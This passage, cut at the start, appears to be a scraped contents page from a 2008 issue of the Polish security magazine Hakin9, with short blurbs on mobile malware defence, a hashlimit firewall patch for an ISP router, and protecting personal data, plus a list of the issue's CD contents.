ne w użyciu i coraz bardziej zyskują na popularności. Ale też coraz czę-
ściej stają się celem ataku twórców malware'u. Dlatego też konieczne jest
korzystanie ze swojego telefonu z rozwagą i uwagą. Zhu Cheng przedsta-
wia zagrożenia czyhające na użytkowników oraz sposoby, jak się przed nimi
obronić.

Hashlimit

Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewall, jest korzystanie z łatki hashlimit. Możliwości, jakie ona
oferuje, są ograniczone jedynie wyobraźnią administratora.

W artykule rozwiązanie to zostanie przedstawione oraz przetestowane

w rzeczywistym środowisku, które obsługuje sieć na kilka tysięcy klientów
z dostępem do Internetu (lokalny ISP). Konfigurować będziemy główny ro-
uter, a zarazem firewall, który kontroluje ruch internetowy indywidualnych
klientów oraz serwera usługowego z zainstalowanymi usługami www/ftp/
mail/dns/ssh
i Verlihub.

Bezpieczeństwo

teleinformatyczne danych osobowych

System informatyczny, w którym przetwarzane są dane osobowe,
powinien oprócz wymagań wynikających z przepisów prawa uwzględ-
niać wymagania Generalnego Inspektora Ochrony Danych Osobowych
w zakresie struktur baz danych osobowych oraz funkcjonalności zarzą-
dzających nimi aplikacji. Artykuł Andrzeja Guzika zawiera przydatne
informacje, jak zapewnić bezpieczeństwo danym osobowym, które prze-
twarzane są w takim systemie.

NA CD:

hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Obrona

Bezpieczna

Firma

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 33 (01 2008) PL
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 38 (06 2008) PL
Hakin9 21 (01 2007) PL
Hakin9 34 (02 2008) PL
Hakin9 37 (05 2008) PL
Hakin9 40 (09 2008) PL
Charaktery 01 2008 PL
hakin9 07 08 2008 pl
Charaktery 01 2008 PL
Hakin9 37 (05 2008) PL
Hakin9 21 (01 2007) PL
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 40 (09 2008) PL
Hakin9 38 (06 2008) PL
2008 01 04 PL procedura odzyskiwania oryginalnego oprogramowania

więcej podobnych podstron